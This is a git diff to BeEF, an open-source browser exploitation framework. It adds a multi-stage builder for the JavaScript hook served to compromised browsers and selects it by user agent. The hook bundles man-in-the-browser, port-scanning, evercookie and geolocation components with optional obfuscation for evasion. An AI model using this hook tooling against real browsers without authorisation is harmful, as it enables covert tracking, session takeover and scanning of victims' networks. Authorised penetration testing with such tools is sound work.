diff --git a/core/bootstrap.rb b/core/bootstrap.rb index d63482279..7e66ec222 100644 --- a/core/bootstrap.rb +++ b/core/bootstrap.rb @@ -16,6 +16,7 @@ require 'core/main/router/api' require 'core/main/server' require 'core/main/handlers/modules/beefjs' require 'core/main/handlers/modules/legacybeefjs' +require 'core/main/handlers/modules/multistagebeefjs' require 'core/main/handlers/modules/command' require 'core/main/handlers/commands' require 'core/main/handlers/hookedbrowsers' diff --git a/core/core.rb b/core/core.rb index afe225c39..1a456b215 100644 --- a/core/core.rb +++ b/core/core.rb @@ -19,6 +19,7 @@ require 'core/main/models/optioncache' require 'core/main/models/browserdetails' require 'core/main/models/rule' require 'core/main/models/execution' +require 'core/main/models/legacybrowseruseragents' # @note Include the constants require 'core/main/constants/browsers' diff --git a/core/main/handlers/hookedbrowsers.rb b/core/main/handlers/hookedbrowsers.rb index b1de230a9..610a3523e 100644 --- a/core/main/handlers/hookedbrowsers.rb +++ b/core/main/handlers/hookedbrowsers.rb @@ -9,6 +9,7 @@ module BeEF # @note This class handles connections from hooked browsers to the framework. class HookedBrowsers < BeEF::Core::Router::Router include BeEF::Core::Handlers::Modules::BeEFJS + include BeEF::Core::Handlers::Modules::MultiStageBeEFJS include BeEF::Core::Handlers::Modules::LegacyBeEFJS include BeEF::Core::Handlers::Modules::Command @@ -17,6 +18,16 @@ module BeEF disable :protection end + # Generate the hook js provided to the hookwed browser (the magic happens here) + def confirm_browser_user_agent(user_agent) + browser_type = user_agent.split(' ').last # selecting just name/version of browser + # does the browser already exist in the legacy database / object? Return true if yes + BeEF::Core::Models::LegacyBrowserUserAgents.user_agents.each do |ua_string| + return true if ua_string.include? browser_type + end + false + end + # Process HTTP requests sent by a hooked browser to the framework. # It will update the database to add or update the current hooked browser # and deploy some command modules or extensions to the hooked browser. @@ -111,18 +122,31 @@ module BeEF host_name = request.host unless BeEF::Filters.is_valid_hostname?(host_name) (print_error 'Invalid host name' - return) + return) end # Generate the hook js provided to the hookwed browser (the magic happens here) if BeEF::Core::Configuration.instance.get('beef.http.websocket.enable') + print_debug 'Using WebSocket' build_beefjs!(host_name) + elsif confirm_browser_user_agent(request.user_agent) + print_debug 'Using multi_stage_beefjs' + multi_stage_beefjs!(host_name) else + print_debug 'Using legacy_build_beefjs' legacy_build_beefjs!(host_name) end # @note is a known browser so send instructions end + # check for string within array of strings + def check_for_string(string, array) + array.each do |item| + return true if item.include? string + end + false + end + # @note set response headers and body headers 'Pragma' => 'no-cache', 'Cache-Control' => 'no-cache', diff --git a/core/main/handlers/modules/multistagebeefjs.rb b/core/main/handlers/modules/multistagebeefjs.rb new file mode 100644 index 000000000..8ef95a0e8 --- /dev/null +++ b/core/main/handlers/modules/multistagebeefjs.rb @@ -0,0 +1,175 @@ +# +# Copyright (c) 2006-2022 Wade Alcorn - wade@bindshell.net +# Browser Exploitation Framework (BeEF) - http://beefproject.com +# See the file 'doc/COPYING' for copying permission +# +module BeEF + module Core + module Handlers + module Modules + # @note Purpose: avoid rewriting several times the same code. + module MultiStageBeEFJS + # Builds the default beefjs library (all default components of the library). + # @param [Object] req_host The request object + def multi_stage_beefjs!(req_host) + config = BeEF::Core::Configuration.instance + # @note set up values required to construct beefjs + beef_js = '' + # @note location of sub files + beef_js_path = "#{$root_dir}/core/main/client/" + + # @note External libraries (like jQuery) that are not evaluated with Eruby and possibly not obfuscated + ext_js_sub_files = %w[lib/jquery-1.12.4.min.js lib/jquery-migrate-1.4.1.js lib/evercookie.js lib/json2.js lib/mdetect.js lib/platform.js lib/jquery.blockUI.js] + + # @note BeEF libraries: need Eruby evaluation and obfuscation + beef_js_sub_files = %w[beef.js browser.js browser/cookie.js browser/popup.js session.js os.js hardware.js dom.js logger.js net.js updater.js encode/base64.js + encode/json.js net/local.js init.js mitb.js geolocation.js net/dns.js net/connection.js net/cors.js net/requester.js net/xssrays.js net/portscanner.js are.js] + # @note Load websocket library only if WS server is enabled in config.yaml + beef_js_sub_files << 'websocket.js' if config.get('beef.http.websocket.enable') == true + # @note Load webrtc library only if WebRTC extension is enabled + if config.get('beef.extension.webrtc.enable') == true + beef_js_sub_files << 'lib/webrtcadapter.js' + beef_js_sub_files << 'webrtc.js' + end + + # @note antisnatchor: leave timeout.js as the last one! + beef_js_sub_files << 'timeout.js' + + ext_js_to_obfuscate = '' + ext_js_to_not_obfuscate = '' + + # @note If Evasion is enabled, the final ext_js string will be ext_js_to_obfuscate + ext_js_to_not_obfuscate + # @note If Evasion is disabled, the final ext_js will be just ext_js_to_not_obfuscate + ext_js_sub_files.each do |ext_js_sub_file| + if config.get('beef.extension.evasion.enable') + if config.get('beef.extension.evasion.exclude_core_js').include?(ext_js_sub_file) + print_debug "Excluding #{ext_js_sub_file} from core files obfuscation list" + # do not obfuscate the file + ext_js_sub_file_path = beef_js_path + ext_js_sub_file + ext_js_to_not_obfuscate << (File.read(ext_js_sub_file_path) + "\n\n") + else + ext_js_sub_file_path = beef_js_path + ext_js_sub_file + ext_js_to_obfuscate << (File.read(ext_js_sub_file_path) + "\n\n") + end + else + # Evasion is not enabled, do not obfuscate anything + ext_js_sub_file_path = beef_js_path + ext_js_sub_file + ext_js_to_not_obfuscate << (File.read(ext_js_sub_file_path) + "\n\n") + end + end + + # @note construct the beef_js string from file(s) + beef_js_sub_files.each do |beef_js_sub_file| + beef_js_sub_file_path = beef_js_path + beef_js_sub_file + beef_js << (File.read(beef_js_sub_file_path) + "\n\n") + end + + # @note create the config for the hooked browser session + hook_session_config = BeEF::Core::Server.instance.to_h + + # @note if http_host="0.0.0.0" in config ini, use the host requested by client + if !hook_session_config['beef_public'].nil? && (hook_session_config['beef_host'] != hook_session_config['beef_public']) + hook_session_config['beef_host'] = hook_session_config['beef_public'] + hook_session_config['beef_url'].sub!(/#{hook_session_config['beef_host']}/, hook_session_config['beef_public']) + end + if hook_session_config['beef_host'].eql? '0.0.0.0' + hook_session_config['beef_host'] = req_host + hook_session_config['beef_url'].sub!(/0\.0\.0\.0/, req_host) + end + + # @note set the XHR-polling timeout + hook_session_config['xhr_poll_timeout'] = config.get('beef.http.xhr_poll_timeout') + + # @note set the hook file path and BeEF's cookie name + hook_session_config['hook_file'] = config.get('beef.http.hook_file') + hook_session_config['hook_session_name'] = config.get('beef.http.hook_session_name') + + # @note if http_port <> public_port in config ini, use the public_port + if !hook_session_config['beef_public_port'].nil? && (hook_session_config['beef_port'] != hook_session_config['beef_public_port']) + hook_session_config['beef_port'] = hook_session_config['beef_public_port'] + hook_session_config['beef_url'].sub!(/#{hook_session_config['beef_port']}/, hook_session_config['beef_public_port']) + hook_session_config['beef_url'].sub!(/http:/, 'https:') if hook_session_config['beef_public_port'] == '443' + end + + # @note Set some WebSocket properties + if config.get('beef.http.websocket.enable') + hook_session_config['websocket_secure'] = config.get('beef.http.websocket.secure') + hook_session_config['websocket_port'] = config.get('beef.http.websocket.port') + hook_session_config['ws_poll_timeout'] = config.get('beef.http.websocket.ws_poll_timeout') + hook_session_config['ws_connect_timeout'] = config.get('beef.http.websocket.ws_connect_timeout') + hook_session_config['websocket_sec_port'] = config.get('beef.http.websocket.secure_port') + end + + # @note Set if PhishingFrenzy integration is enabled + hook_session_config['phishing_frenzy_enable'] = config.get('beef.integration.phishing_frenzy.enable') if config.get('beef.integration.phishing_frenzy.enable') + + # @note populate place holders in the beef_js string and set the response body + eruby = Erubis::FastEruby.new(beef_js) + @hook = eruby.evaluate(hook_session_config) + + if config.get('beef.extension.evasion.enable') + evasion = BeEF::Extension::Evasion::Evasion.instance + @final_hook = ext_js_to_not_obfuscate + evasion.add_bootstrapper + evasion.obfuscate(ext_js_to_obfuscate + @hook) + else + @final_hook = ext_js_to_not_obfuscate + @hook + end + + # @note Return the final hook to be sent to the browser + @body << @final_hook + end + + # Finds the path to js components + # @param [String] component Name of component + # @return [String|Boolean] Returns false if path was not found, otherwise returns component path + def legacy_find_beefjs_component_path(component) + component_path = component + component_path.gsub!(/beef./, '') + component_path.gsub!(/\./, '/') + component_path.replace "#{$root_dir}/core/main/client/#{component_path}.js" + + return false unless File.exist? component_path + + component_path + end + + # Builds missing beefjs components. + # @param [Array] beefjs_components An array of component names + def legacy_build_missing_beefjs_components(beefjs_components) + # @note verifies that @beef_js_cmps is not nil to avoid bugs + @beef_js_cmps = '' if @beef_js_cmps.nil? + + if beefjs_components.is_a? String + beefjs_components_path = find_beefjs_component_path(beefjs_components) + raise 'Invalid component: could not build the beefjs file' unless beefjs_components_path + + beefjs_components = { beefjs_components => beefjs_components_path } + end + + beefjs_components.keys.each do |k| + next if @beef_js_cmps.include? beefjs_components[k] + + # @note path to the component + component_path = beefjs_components[k] + + # @note we output the component to the hooked browser + config = BeEF::Core::Configuration.instance + if config.get('beef.extension.evasion.enable') + evasion = BeEF::Extension::Evasion::Evasion.instance + @body << evasion.obfuscate(File.read(component_path) + "\n\n") + else + @body << (File.read(component_path) + "\n\n") + end + + # @note finally we add the component to the list of components already generated so it does not get generated numerous times. + if @beef_js_cmps.eql? '' + @beef_js_cmps = component_path + else + @beef_js_cmps += ",#{component_path}" + end + end + end + end + end + end + end +end diff --git a/core/main/models/legacybrowseruseragents.rb b/core/main/models/legacybrowseruseragents.rb new file mode 100644 index 000000000..776c30b2f --- /dev/null +++ b/core/main/models/legacybrowseruseragents.rb @@ -0,0 +1,26 @@ +# +# Copyright (c) 2006-2022 Wade Alcorn - wade@bindshell.net +# Browser Exploitation Framework (BeEF) - http://beefproject.com +# See the file 'doc/COPYING' for copying permission +# +module BeEF + module Core + module Models + # + # Objects stores known 'legacy' browser User Agents. + # + # This table is used to determine if a hooked browser is a 'legacy' + # browser and therefore which version of the hook file to generate and use + # + # TODO: make it an actual table + # + module LegacyBrowserUserAgents + def self.user_agents + [ + 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0' + ] + end + end + end + end +end